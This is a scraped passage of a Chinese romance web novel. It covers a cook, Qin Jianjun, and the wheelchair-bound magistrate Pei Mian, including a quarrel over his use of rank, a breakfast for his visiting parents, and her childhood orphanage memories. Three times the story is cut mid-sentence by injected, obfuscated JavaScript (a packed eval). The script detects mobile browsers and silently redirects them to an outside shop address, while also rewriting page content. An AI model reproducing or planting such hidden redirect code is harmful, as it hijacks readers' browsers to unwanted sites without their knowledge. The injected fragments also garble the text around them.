“呼......”她深呼吸了两下,试图站起来,却因为起得太猛而头脑发晕,下意识伸手去找东西扶住,这时身侧伸过来一只瘦削的手,她甫一抓上去还以为摸到了一根热腾腾的竹竿...... “大人?”她定了定神,眼前的黑散开了,是裴眠抬手扶住了她。 看清是裴眠后,她脑海中便浮现他在珍馐楼盛气凌人的样子,于是她下意识收回手,往后退了一步。 这一步让裴眠坚定了她确实是在“冷落”自己。 方才他还想就着裴小之的安慰入眠,可上了床却开始辗转反侧,怎么也睡不着,越想越觉得裴小之说的不对。 眼看着天快亮了,他索性起来,想在落霞轩等着,待秦见君醒来再好好问问。 秦见君退开安全距离后发现裴眠是一个人过来的,身后没跟着袁原也没跟着裴小之。 她不知道裴眠这个时间为何会出现在这里,仔细回想了一下,难道是自己的疏远太明显,让他觉得不舒服了? “你......”两个人同时张口,又同时消了音。 裴眠叹了口气道:“你先说。” “你找我有什么事吗?”秦见君尽量让自己的语气听起来十分和善,生怕惹怒了裴眠,小命都要赔进去。 裴眠掀起眼皮看她,心中有些气闷,她平日里使唤自己的时候可不是这个语气。 裴眠忍了忍,没忍住还是张嘴问道:“我是有何处得罪你了?” 秦见君有些不明所以,眨了眨眼,道:“没有啊。” “那你......”裴眠觉得,因为自己敏感的情绪而追问她实在有些小题大做,但他又极不喜她这种表里不一的分寸感,抿了抿唇还是问出了口,“那你为何要冷落我?” 秦见君吸了口气:还挺敏感...... 天微微亮了,院子里逐渐明晰起来,她低下头对着脚下的鱼鳞铺地,不去看裴眠,心里忽然有种冲动,她想直接质问裴眠为何要用身份地位去压房大河,但又怕小命不保,于是踌躇犹豫着不说话。 半晌等不到她的答复,裴眠有些急了,他手肘架起,撑在轮椅两侧,微微前倾着身子又问了一遍:“你为何要冷落我?” 秦见君微微抬头看向他,对上他有些焦急的目光,心里忽然冒出些勇气来。 这段日子以来,她与裴眠可以说是朝夕相处,除去睡觉的时候都待在一起。 他话不多,总是安安静静地待在石桌旁看书写字,即便裴小之吵吵嚷嚷的,他也不恼,偶尔聊天时开他的玩笑,他也只是佯装蹙眉,并不真的生气...... 想到这儿,秦见君瞬间又有了质问他的勇气,先前谈论朝堂之事时,她也有几次语气锋利,但都不见裴眠气恼,这让她有了极强的预感——他不会生气。 “你......”秦见君顿了顿道,“我觉得......你那样教训房大河......有些不好......” 裴眠心中暗自松了口气,愿意说出来就好办,他放松了肩膀,缓缓往后靠在轮椅背上问:“有何不好?” “就......”话已至此,也圆不回来了,不如直接说了。 秦见君垂落的双手交叠,右手拇指抠着左手手心道:“就是不好,你那样跟其他仗势欺人的达官贵族们有何不同?如果你不是裴眠、不是知州大人,那房大河还会下跪认错吗?” 裴眠听完,总算知晓了秦见君“冷落”自己的原因,这段日子同秦见君交谈颇多,知晓她对身份等级之事有些不赞同,只是不知道她竟然如此不喜自己行使“身份特权”...... 裴眠垂眸思索片刻,又仰头对上秦见君的眸子道:“你觉得我在‘仗势欺人’?” 他脸上不见丝毫怒意,秦见君的胆子便大了起来:“嗯。” “秦见君......” 裴眠喊了自己的全名,秦见君有些紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13516378|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张地站直了身子。 “是房大河先‘欺’了你,我去替你出气,让他道歉,有何不对?”裴眠问。 秦见君撅了撅嘴,小声道:“那也是看在你是知州大人的面子上......” 裴眠点了点头:“是,他是碍于我的身份,才道歉得如此快,我出身好,生来便享受平民百姓没有的权利,但我扪心自问,并未有过‘仗势欺人’之举,我从未随意凭个人喜恶而欺辱无辜之人......” 秦见君听到这里,心中已经有些动摇了,他是为了让房大河给自己道歉才去的珍馐楼......自己却反咬一口说他“仗势欺人”...... 裴眠叹了口气继续道:“我不得不承认,我的身份地位确实给我行了许多‘方便’,但若我没有这样的官职与身份,想要房大河道歉也有很多种方法,只是这其中并没有一种方法,比用身份压制来得更快、更有效。” 他说完,便定定地盯着秦见君。 此时清晨的第一缕阳光落在了裴眠脸上,光太强,刺激得他溢了点泪水出来,秦见君愣愣地看着他的眸子,像是裹着冰糖的玻璃珠,微微晃动时会从不同角度折射出光线,很迷人...... “秦见君?”裴眠看她在发呆,喊了她一声。 秦见君恍然从美貌攻势中清醒过来,脑子开始处理方才裴眠的话,她猛地反应过来自己的行为有多“圣母”。 裴眠本就是含着金汤匙出生的,有好日子过,为什么要莫名其妙放弃优待,去做个平民百姓呢? 况且如他所说,他从未恶意使用过自己的“特权”,这几个月间唯一一次使用,还是为了替自己讨回公道...... 她忽然觉得脸上烧得慌......但该说的还是要说,做错事认错就好了...... “抱歉......”秦见君羞愧得不敢看裴眠的眼睛,只能低着头,但声音却十分清晰,“是我心胸太狭隘了......” 裴眠看她这个样子,心中的郁闷也全都消散了,难得有这么聊得来的小娘,他可不想因为误会而失去一位挚友。 其实在说开之前,他心中还是十分忐忑的,怕秦见君钻牛角尖,抑或是爱面子不肯道歉,他都想好了,若是她不肯道歉,自己便递个台阶过去...... 裴眠不说话,秦见君的面皮就越来越热,感觉连带后脖子都烧起来了。 “哎呀!郎君你怎么在这儿啊?”院门口传来裴小之的声音,他赶紧跑进来,在凉爽的清晨也急出了一头汗。 进了院门见两人似是在说话,原是该等等再打扰的,但事情紧急,他也顾不得许多,对裴眠道:“老爷和夫人来了,马车在门口呢!” “什么?”裴眠也有些始料不及,爹娘在虔渊州待得好好的,怎么突然来绵州了?而且事先也并未来信知会。 “快快快!”裴小之推着轮椅就往外去,百忙之中还抽空转头对秦见君说了一句,“秦小娘,劳烦早饭多做些!” 话音未落,人影已经消失在小道尽头了,秦见君伸手揉了揉还在微微胀痛的小腹,叹了口气:打工人的命好苦,痛经还要给老板一家人做早饭! 25.第 25 章 茶马街尾的知州府自招到厨娘后,大门便又重新紧闭着。 今日府门前停着一辆马车,随着一声“吱呀”响,知州府高大的木门缓缓打开,百姓们好奇地在街角张望。 马车上先下来的是一位高大的男子,看着三四十的样子,眉清目秀、气质儒雅,但经年过着优渥生活,身上的贵气是掩不住的,他下马车后并未直接进门,而是转身抬手去扶马车上的另一位。 纤长的手臂自马车中探出,落在男子的手上,一貌美妇人从马车上下来了。 “这是知州大人吗?”百姓们轻声议论起来。 “你傻啊?知州大人才二十多,也未娶妻!” “那这是谁啊?真是郎才女貌啊......” “哎哎......快看,府里出来人了!” 裴眠坐着轮椅在门内,并未出去,百姓也看不见他,是袁原与裴小之带人上前将裴礼卿与方涟的行李搬入了府。 “你瞧着气色好了许多!”府门关上了,方涟便不再端着,疾步上前捧起裴眠的脸左右看了看,满意地点头,“看来你信中并未哄骗我......” 裴眠的眼睛像方涟,两人都是形状漂亮、黑白分明、亮晶晶的眸子,只要不是刻意控制,看人时便会自然流露出一股“风情”,让人如沐春风。 “所以你们突然到访,就是为了看看我是否欺瞒了你们?”裴眠并未挣脱母亲的手,由她像逗孩子似的捧着脸,眉眼柔和。 “你娘放心不下。”裴礼卿解释了一句。 方涟又细细看了裴眠一会儿,他不仅气色好了,身上也长了点肉,她心里高兴,抬起手指捏了捏裴眠的脸,随即像是想起什么似的,起身四处看了看。 裴眠不明所以:“在找什么?” 没找到人,方涟便问:“你那厨娘呢?我可要好好谢谢她!” “你准备如何谢她?”裴眠引着二人去前厅喝茶,随口问。 “问问她家中情况吧,若是有能帮得上忙的,那定是要出手的。”方涟道。 入了前厅,下人端来泡好的茶,见裴礼卿与方涟都喝完放了杯子,裴眠才开口道:“她家中能有何事找您帮忙?” 一路舟车劳顿,总算到了绵州、喝上了热茶,方涟觉得浑身都爽快了,她语气轻快地答:“譬如家中生意需帮忙,抑或是孩子上学堂的事,你爹都能说得上话。” “孩子上学堂?”裴眠疑惑。 方涟点头:“是啊,她日日在你府上做饭,家中丈夫和孩子怕是顾及不上,总要补偿一二的。” 裴眠眨了眨眼,这才反应过来,他在信中只提了府中招了厨娘,并未说过秦见君家世及年纪,想来是方涟觉得有着一手精湛厨艺的厨娘大约都是中年形象吧...... 他勾起唇角,觉得有趣。 方涟见他这样,觉得新奇,自他吃不下东西以来,便极少在他们面前露出笑容了,这样眉眼弯弯的裴眠,有了几分从前开朗的模样,她甚是怀念。 “郎君,老爷和夫人匆匆赶来,怕是还没用早饭呢......”裴小之提醒道。 裴眠点点头,问两人:“爹娘用过早饭了吗?” 方涟笑了:“没呢,想着来你府上尝尝厨娘的手艺。” 这话是不假,但清晨赶路,在马车中颠簸许久,这会儿正是有些没胃口,不过怕裴眠担心,她还是强装饿了。 “我去厨房看看。”裴小之说完便转身要走。 裴眠拦住了他,耳语道:“若是她身子不舒服,就别让她做了,吩咐大厨房就好。” 裴小之愣了愣,随即反应过来,点点头出去了。 越是临近夏日,太阳便起得越早,此时厨房中的地上、台面上,都隐隐笼着日光,明亮却不刺眼,秦见君又一次感叹这厨房造得好,至少采光是极好的。 她先给自己煮了一碗红糖姜水喝,好歹是让小腹舒服了些。 方才听裴小之的意思,裴眠的父母应该是清晨赶路过来,这会儿不一定饿,而且很可能没什么胃口。 她穿上围裙,在厨房中转了一圈,拿定了主意要做酸汤面,酸酸辣辣极开胃,辅以芝麻和肉片,香气扑鼻、营养均衡。 先取碗调酱料,碗中放入蒜末、葱花、芝麻和少许芥末粉。 秦见君对这点是不太满意的,大荆没有辣椒,只能用花椒或芥末来调一点辣味,但是不满意还是得尽力做。 她将锅中热油倒入碗中,滋啦一声爆出葱蒜香气,再倒入生抽、陈醋、酱油、白糖、盐和清水,搅拌均匀备用。 她接着去取了一块猪里脊,下刀快且稳,厚薄均匀的肉片顺着刀刃滑落在砧板上,将切好的肉片放入碗中,加生抽、芥末粉、淀粉、料酒抓匀腌制。 起锅烧油,秦见君打了几个鸡蛋进去,鸡蛋接触到高热油温,发出脆响并迅速凝结,待荷包蛋成型了,秦见君便用锅铲给它们翻面,蛋白边缘焦黄卷起,看起来酥脆蓬松。 盛出荷包蛋后,秦见君又加了些油,用筷子将腌制的肉片展平放入锅中煎炸,细碎的油点溅到手臂上,她面不改色,这样小的疼痛她早就习惯了。 肉片被煎炸得金黄发脆,表层的油汁顺着纹理将肉片烧成橘黄,薄薄的边缘炸得发干,微微翘起。 另起一口锅倒水煮面,微黄的面条与翠绿的青菜在锅中沸腾,热气上涌,秦见君抬手将额间冒出的汗珠擦了去。 面条煮熟后过冷水沥干,再将荷包蛋、煎肉片与青菜放上去当配菜,最后淋上酱汁,一碗色香味俱全的酸汤面就做好了,多余的煎肉片单独用盘子装着,方便吃完再加。 如法炮制做了五碗,分别是裴眠一家三口与裴小之、袁原的早饭 她自己忙活了半天,身子又开始不适,即便是面对酸酸辣辣的面条也没胃口,便没给自己留。 裴小之正好进厨房来问,见锅边放着面条,眼睛开始发亮:“看着好好吃啊!” 秦见君有些没力气,靠在台面上抿唇笑了笑道:“快给你家郎君端过去吧,你和袁原的都在锅里。” “嗯嗯!”急着给老爷夫人端早饭,裴小之并未发觉秦见君的异样,临走前还对秦见君道,“我方才听夫人说想见你,不然你同我一起去吧?” 主人家要看员工,不好拒绝,秦见君用力吸了口气,呼气后清醒了一点,点头道:“那走吧。” 前厅里裴眠还在同裴礼卿与方涟说话,两人许久没见儿子,都有许多话要说。 “出虔渊州前,我进了一趟宫。”裴礼卿道,“官家问我你如何了......” 裴眠笑了笑道:“您也看见了,我很好。” “那你......”裴礼卿有些犹豫,看着越来越安静成熟的儿子,忽然感慨时光飞逝。 裴眠看着瘦极了,眼底的光却比从前要亮,裴礼卿原想问问他今后的打算, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528947|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼下低头笑了笑,抬眼对上裴眠询问的目光,他轻声道:“没什么。” 计划赶不上变化,眼下裴眠愿意做什么都好。 “裴礼卿,你再这么说话我要生气了!”一旁的方涟出了声,眉毛都竖起来了。 出嫁前她是将军府中的掌上明珠,爹爹方第声是先皇封的将军,如今虽卸了军中职位在虔渊州养老,但威严犹在,爱女名声全州府都知晓,硬是将深闺女子宠成了沙场性格。 裴礼卿喜爱方涟的恣意潇洒,虽被身份常年困于虔渊州中,却一点都不愤懑,反而抓住一切可以游玩的机会,享受当下的风光美景,脾气直又偶有小女子情态,迷人得很。 方涟对裴眠道:“别同你爹说话,他文绉绉、慢吞吞的!” “是是......”裴礼卿好脾气地笑着附和,“听你娘的。” 裴眠无奈点头。 从小家中就是如此氛围,一个稳如泰山的爹和一个一点就炸的娘,看似极不和谐,但两人却从不红脸,也并不强求裴眠有什么大建树,即便裴眠推了家中关系求来的闲散官位,非要自己走科举入朝堂,裴礼卿也只是将他叫到书房谈了一夜,此后便再不干涉。 虔渊州其他达官贵人府中极少有这样一夫一妻的,多的是妻妾成群、儿孙满堂。 曾经裴眠也问过二人,想没想过再给自己添个弟弟妹妹,不料裴礼卿摇摇头,语气有些心疼道:“不了,有你就很好,你娘坐不住,怀胎太束着她性子了,先前怀你时她就心闷得不行,直到你能走路了,她才恢复原本的性子,我可不想她再遭罪了。” 那时裴眠心中是有些愧疚的,他选了一条最难的路入朝堂,为的就是堵住众朝臣的嘴,将来他提出改制时,不会有人以此作文章抹黑自己、抹黑他的爹娘。 但与此同时,朝堂中的事务也渐渐侵占了他许多时间,忙起来时甚至是深夜回府,翌日一早天未亮又入宫去,别说聊天,连爹娘的面都见不上。 后来身子不好了,心情烦闷,裴眠变得不爱同人多说话,裴礼卿与方涟都看在眼里,并不多打扰。 再后来被贬至绵州,匆匆离家,与爹娘一别几月,只有书信往来。 裴眠试图回想上一次一家人坐在一起闲聊的场景,却是一点都想不起来了,眼前方涟还在埋怨裴礼卿说话说一半,两人举止寻常,对他并不带半分责备,这让他心中愧疚更盛,正要开口,就听到了裴小之的声音。 “老爷、夫人、郎君!”裴小之从小在虔渊州裴府长大,裴礼卿与方涟对他极好,平日里在府中大呼小叫的也并不会被责罚,于是这会儿他也并未压低声音,兴奋地喊道,“早饭来了!” 秦见君跟在后头吓一跳:裴眠的父亲不是什么太师吗?听说特别厉害,虔渊州裴府肯定是很大且规矩森严的那种,怎么裴小之喊起来这么没轻没重的? “快端来我看看。”方涟冲门口应着裴小之的话,但还未看到裴小之手中的面,却先看见了他身后跟着的秦见君。 “你......”方涟起身的动作顿住,有些怔愣地看了秦见君一会儿,前厅里一时间无人说话、落针可闻。 连裴礼卿都在一旁有些愣住,看方涟的模样,莫不是认识这个漂亮的小娘子? 方涟半晌才眨眨眼回过神来,她转头看向裴眠,问:“这漂亮的小娘子是谁?你执意要独自住在绵州,就是为了金屋藏娇?” 裴眠:“?” 26.第 26 章 裴眠倒是没料到方涟会这么想,他愣了一瞬,可在方涟看来,这就是被戳穿后的心虚。 “你......”方涟心底是高兴的,毕竟裴眠这么多年来一直“不近女色”,她都有些怀疑儿子是不是身体有问题了...... 但另一方面她又有些忧心,这小娘子穿着朴素,面色苍白,额头上还包着纱布,看起来像是被裴眠强迫的...... 方涟转身用后背对着秦见君,凑到裴眠耳边道:“你没做坏事吧?我和你爹可没教过你‘强抢民女’啊......这小娘子头上的伤是怎么回事?” 裴眠刚要解释,又被方涟打断:“我可同你说清楚,你想娶亲,什么家世都可以,但决不能强迫人家小娘子!” 裴眠无奈地伸手推了推方涟的肩膀,方涟顺势站直了身子,眼神里依旧写满了“不赞同”。 “这是秦见君,你要见的厨娘。” “啊?”方涟愣了一瞬,又转头去看秦见君——柳眉杏眼,清纯白嫩,看着就是个未出阁的小娘子,能有一手留住裴眠的好厨艺? 不怪她有偏见,实在是秦见君的模样太出色,让人不得不多想,正所谓防人之心不可无。 秦见君犹豫了一下,上前鞠躬道:“老爷、夫人。” 从来没这么喊过别人,有一瞬间她都有些出戏,感觉自己好像在演古装剧。 想到这是让自家儿子身体好转的厨娘,裴礼卿与方涟都微微颔首回礼,随后两人的视线便被裴小之端上来的面吸引了。 更精致的汤面他们并非没见过,只是鼻尖的香气不作假,实在是十分诱人。 三人围着桌子坐下,裴小之与秦见君站在一旁候着。 方涟拨开青菜,将浸泡在汤汁中的煎肉片夹起,表层酥皮已经泡软了,汤汁完全浸透入肉片中,一口下去香滑咸鲜,回味还有点辣。 她又夹了一筷子面入口,劲道的面条上裹满了酸辣汤汁,卷入口中瞬间刺激得口腔不断分泌唾液,在路上被颠簸得一点不剩的胃口忽然全都涌了出来,她食指大动,对秦见君的手艺信服起来。 裴礼卿吃了面后,也面露惊讶,但还是保持着良好的礼数,一口一口慢慢吃着。 每碗面中只放了两个煎肉片及两颗青菜,方涟碗中的青菜还留着,肉片已经吃完了,于是伸筷子去夹中间那盘煎肉片,正要入嘴,却被裴礼卿拦下,他轻声道:“青菜。” 方涟蹙眉,与裴礼卿僵持了片刻,还是放下了煎肉片,苦着脸将青菜吃完了。 一旁的裴眠碗中肉片与青菜都没了,他也伸筷子去夹肉片,秦见君忙轻声咳了一下。 “咳......”她状似不经意瞥了一眼裴眠——太油了,不能吃。 裴眠接收到她的目光,知晓这是为自己好,只能忍痛放弃煎肉片,低头专注于剩下的面条。 一旁的方涟将两人的眉眼官司尽收眼底。 吃完早饭,裴礼卿与方涟都有些累了,于是裴眠派人将他们送去莲芳苑休息。 两人一离开,秦见君便松懈下来,靠在墙上吐了口气,一副疲惫的样子。 裴眠看了觉得好笑:“不必拘礼,我爹娘都很随和。” 秦见君眼皮都耷拉下来了,她小腹又开始疼了。 “裴眠......”她转头看向他。 “嗯?” “我能请个假吗?”她蹙着眉头,眸子里亮晶晶的,看起来又脆弱又可怜。 “去休息吧,待会儿让齐大夫给你看看。” 秦见君摇了摇头,齐大夫看了定会给她开药,可她真的太难受了,只想躺着,没人给她煎药便也喝不上,不如别开药了...... “不了......我睡会儿就好了......”她闭上眼靠在墙上,捂着小腹微微弓起身子。 “怎么能不吃......”裴眠不赞同,正要说话,却被裴小之拉住了。 裴小之冲他摇摇头,使了个眼色,裴眠只好先放人。 秦见君离开后,裴小之才松开拉着裴眠的手,道:“先前齐大夫去给秦小娘诊过脉的,还给开了方子,平日里府上煎药都在大厨房,秦小娘自己有厨房,定是不想麻烦他人,但她自己又孤身一人,身子不适便没人替她煎药了,齐大夫就是看百次千次,她喝不上药也是白搭啊......” 裴眠听了,暗道自己心思不够细,随即吩咐裴小之去齐冬青那里再配一次药,送去秦见君的厨房。 裴小之拿着新配的药包到了厨房,只有裴眠一个人坐在石桌旁,身边放着个煎药的小炉子。 “郎君,你要给秦小娘煎药吗?”裴小之上前问。 “嗯。” 裴小之有些不解:“吩咐给大厨房不就好了?何须郎君亲自动手?” 裴眠将药材放入药罐,一边往里加清水一边道:“大厨房人多口杂,她这是女子的小毛病,托大厨房煎药,容易惹非议。” 裴小之听了,忍不住感叹自家郎君思虑周到,府上的女子平日里都会备着小药炉,他先前还不知为何,这下都想通了。 中午不用去做饭,秦见君回到落霞轩便洗漱躺下了。 好在六月的天气暖和,她缩在被子里不一会儿手脚便热了,暖融融的催人睡意。 听着窗外蝉鸣,她很快便睡了过去,不知睡了多久,迷迷糊糊间听到敲门声。 “秦小娘?秦小娘?”门外传来裴小之的声音。 秦见君懵了一瞬,忽然想起自己已经请假了,加上浑身无力,她便没急着起身,而是问裴小之怎么了。 “郎君给你煎了药,这会儿正热呢,若是你不便起身,只管告诉我,我给你端进来。”裴小之道。 秦见君实在乏得很,裴小之与自己很熟了,况且自己在生病,确实需要人照顾,于是她也没客气,让裴小之自己推门进来。 只是没想到,裴眠跟在裴小之身后一起进来了。 秦见君犹豫了一下要不要坐起来,但身子实在不适,她懒得装小白兔了,索性躺在床上转头看着两人,并未起身。 裴眠也不在意,见她还是一副恹恹的样子便知道她还在难受。 “先将药喝了。” 秦见君看着裴小之手上那碗远远就能闻到苦味的药汁,心中十分想念布洛芬,至少不用在嘴里苦一回...... 最后还是被裴小之扶起来喝了药。 “哕......”实在太苦了,秦见君咽下去后忍不住干呕了一声,舌面上的苦味翻江倒海般四处蔓延。 裴眠将手中端着的小木盒打开递了过去——是蜜枣。 秦见君赶紧塞了一颗进嘴里,半晌才将苦味压下去,身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544041|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本就不舒适,现在嘴里也不舒适,她没来由觉得气闷,蹙着眉缩回了被子里,连道谢都没有。 病人都脾气大,裴眠深有体会,也并不在意秦见君的行为,还伸手替她拉了拉被角。 “吃午饭了吗?”裴眠问。 “不吃......”秦见君鼻子嘴巴都掩在被子下,只有眼睛还露着。 不是“吃了”或“没吃”,而是“不吃”。 裴眠挥手让裴小之端着药碗出去了。 秦见君眨了眨眼,又有些犯困了,她看着裴眠:“之管家都走了,你留着做什么?” 语气算不上好,因为她真的很想继续睡,身体不适让她心情莫名烦躁。 “你睡,我看会儿书。”裴眠不知从哪儿取出来一本书册,低头翻开,不再看秦见君。 干嘛非要在自己床头看书?秦见君不理解。 从前在孤儿院生病,老师看着她喝完药就会走,后来自己出去租房子住,小病小痛都是靠睡觉熬过来的,根本不用吃药也不用人照顾。 秦见君缓缓合上眼,裴眠的存在感依然在,她感受着小腹的不舒适,脑袋也有些痛,昏昏沉沉地想起,有一次她也是吃冰痛经,韩老爷子后厨都没去,就在她床边守了一天。 韩思霖老爷子是含萃楼的老板,年轻时走南闯北学习了不同派系的厨艺,后来回到A市创业开了含萃楼。 秦见君第一次去含萃楼时是六岁。 那年孤儿院来了一对夫妻,说想收养孩子,一眼便看中了长得讨喜又漂亮的秦见君,在院中接触了几次,夫妻二人都十分满意,便同孤儿院的老师商量带秦见君出去吃饭,看看她的社会化程度,老师自然是同意了。 那是秦见君第一次进这么大的酒楼,一共六层高,一楼的朱红色大门充满了传统建筑的韵味,里头的屏风刺绣与窗上雕花都十分精巧。 她被那对夫妻拉着手往包厢去,眼睛左顾右盼看个不停,那对夫妻见她对周围好奇得很,便放慢了脚步配合她的小短腿走走停停,走了十几分钟才到包厢。 服务员递过来ipad,女人便递给秦见君,秦见君没看过这么大的“手机”,有点不敢操作,只好抿着唇摇头。 女人也不恼,耐心地轻声同她介绍ipad上的菜单图片,让秦见君选她觉得好看的图片。 男人和女人的眼神都十分温柔,也极有耐心,等着秦见君做决定。 于是小秦见君大着胆子选了两个看起来亮晶晶的菜,随后夫妻二人又加了几个菜,将ipad还给了服务员。 包厢里香喷喷的,不刺鼻,是那种隐隐的香气,秦见君很喜欢,她也很喜欢自己的“新爸爸妈妈”——孤儿院的老师是这么对她说的,不出意外的话,眼前的男人和女人就会成为她的“新爸爸妈妈”。 男人姓孙,长得有些粗狂,但对秦见君说话一直是轻声细语的。 女人姓文,是典型的江南美人长相,举手投足间皆是温婉柔和。 孙先生与文女士总是来孤儿院看秦见君,会给她带好吃的,还有漂亮的衣服,也会问她的学习,她一点都不慌,她学习好,不怕被问。 六月和煦的阳光透过窗户雕花洒进来,映在三人身上,画面美好得不像话。 但秦见君觉得自己确实是没有亲人缘的,否则怎么会孤苦一人到死呢? 27.第 27 章 “下周一我和孙叔叔去孤儿院办手续,顺利的话,再过几天就可以带你回家了。”文女士笑得很温柔,眼角叠起细纹,但并不显老,反而更添成熟韵味。 秦见君点点头,文女士说她的新房间已经布置好了,有粉色蕾丝点缀的床铺,还有像她那么大的毛绒娃娃...... 秦见君的小手撑着下巴,有些向往自己的新家庭与新房间。 韩思霖是在服务员上菜的时候跟进来的。 那时他头发很短,黑白掺杂,胡子剃得干干净净,看起来十分清爽干练,进门便熟稔地打招呼。 “来了?这是你们要收养的女娃娃?”韩思霖伸手揉了揉秦见君的脑袋。 她没躲,因为看得出韩思霖是孙先生与文女士的好友,以后应该要常见,她要尽快适应新生活。 “可爱吧?”文女士的手落在秦见君后颈上,温温热热的,安全感十足。 “跟韩爷爷打招呼。”孙先生笑着对秦见君说。 秦见君立刻仰起头,绽放出一个灿烂的笑容:“韩爷爷好!我叫秦见君!” 那个阳光温暖的中午,是秦见君第一次发自内心地持续微笑,桌上的饭菜好吃极了,她从来没吃过这么精致又美味的东西。 当时点了什么菜她已经记不清了,但那种美好的感觉一直留在她心底,她小心翼翼地保留着这份美好回了孤儿院。 直到两天后传来孙先生与文女士的车祸死讯,秦见君也还依然沉浸在那个中午的美好中。 孤儿院老师跟她重复了好几次,孙先生与文女士的手续还没办,秦见君以后只能继续待在孤儿院。 她没有“新爸爸妈妈”了。 小小的秦见君眨着大眼睛去看老师,老师说的话她明明能听懂,却始终记不住,只能感觉到老师说一遍她就心痛一次,一直到痛麻木了,痛得她不再思考了,嘴角的笑才渐渐冷下来。 孤儿院的孩子们开始传她是“丧门星”,想收养她的叔叔阿姨出车祸死了,一定是被她克死的。 从那之后,来孤儿院看孩子的好心人们都会刻意避开秦见君。 秦见君并不在意别人怎么看她,她会在下课后趴窗台上看向小操场的方向——那边是孤儿院的大门。 孙叔叔和文阿姨什么时候会再来呢?还会带她去吃美味的饭菜吗?她还没见过粉色蕾丝的公主床呢......不知道那个毛绒娃娃是不是真的和自己一样大...... 落雨、飘雪、刮风、烈日...... 她日复一日地等着,却再也没等到过那对夫妻的身影。 天黑了,操场上弥漫着雾气,遮住了孤儿院的大门,她有些看不清,便跑出去看。 操场上的黑雾更浓了,伸手不见五指,秦见君觉得呼吸有些困难,这些黑雾像漂浮在空中的潮水,将她的眼耳口鼻都堵住了,无法呼吸...... “叔叔、阿姨......”秦见君昏沉中喊了一句,裴眠从书中抬起头望过去。 她睡得极不安稳,眉头蹙起、额角冒汗,手不自觉紧攥着被子,用力到指尖泛白。 “秦见君?”裴眠操纵轮椅靠近,轻声喊她。 “接我......公主床......”秦见君双眼紧闭,喃喃出声。 “秦见君?”裴眠想,她应该是被梦魇住了,于是提高声音又喊了一声。 秦见君猛地睁开眼,呼吸也一瞬间重了起来,她狠狠吸了口气,眼睛才慢慢聚焦。 “裴眠?”秦见君愣愣地喊了一声。 “是我,你做噩梦了?”裴眠担忧道。 这里是大荆......没有操场、没有孤儿院...... 秦见君缓缓起身靠坐在床上,肩膀无力地塌着,头也恹恹地垂着,并不说话。 裴眠没有打扰她,而是转身给她倒了一杯水。 喝过水后,秦见君总算缓过来了,对上裴眠的眼睛,她有一瞬的恍惚:裴眠在这儿守着我干嘛? 说实话秦见君对自己的长相还是挺有自信的,因为只要她刻意利用这张脸,战绩可以说是“所向披靡”,毕竟没有人可以拒绝一张清纯又可爱的脸蛋。 府中下人那么多,自己生个病,怎么就非要知州大人亲自照顾了? 难道裴眠是对自己有意思? 秦见君正要开口问,忽然肚子“咕噜”了一声。 是了,正是夕阳西下时,落霞满屋,她早饭中饭都没吃,饿也是应该的...... 她抬头去看裴眠,发现裴眠也正默默地摸了一下他自己的肚子。 秦见君突然便明白了裴眠为何要守着自己。 如今裴眠只吃她做的食物,那么她一请假,裴眠就要跟着饿肚子......守着自己也是怕自己病情加重,耽误他吃饭吧...... 想起自己方才有些自作多情的猜测,秦见君忍不住红了红脸。 裴眠揉了揉饿得发痛的胃,一抬头便看见秦见君红透的脸颊和耳垂。 “你怎么了?还是不舒服?发热了?”裴眠上前伸手去探秦见君的额头。 秦见君忙低头躲过,捂着额头道:“没......没发热,就是刚睡醒,有点热......” 裴眠仔细看了看,她似是真的没什么不适,这才问:“身子好些了吗?” 秦见君感受了一下,虽然做了噩梦,但好歹是睡了这么久,小腹也不痛了,头也不晕了,于是掀开被子下床,问裴眠:“饿不饿?” 裴眠诚实地点头。 秦见君推着裴眠去了厨房。 刚进厨房,秦见君就闻到了一股熟悉的清香味,她循着味道走到角落冰盆边,惊喜地发现了一筐柠檬! “这是沈叠山府上派人送来的,说是南边来的果子,名叫香橼。”裴眠看秦见君对着一筐香橼两眼放光,便解释了一句。 秦见君蹲下身去摸柠檬,顺口问:“沈叠山是谁?” “前枢密院副使,如今告老还乡到了绵州。” “他很有钱吗?”秦见君这几个月在市面上根本没见过柠檬,能将柠檬作为礼物送给知州府的,除了地位以外,应该也要有钱才行吧? “他在绵州有多处布匹、成衣铺面,同号铺子已经开到虔渊州去了。” “连锁店啊......”秦见君喃喃道,拿了一个柠檬放在鼻子下使劲闻了闻,真香啊...... 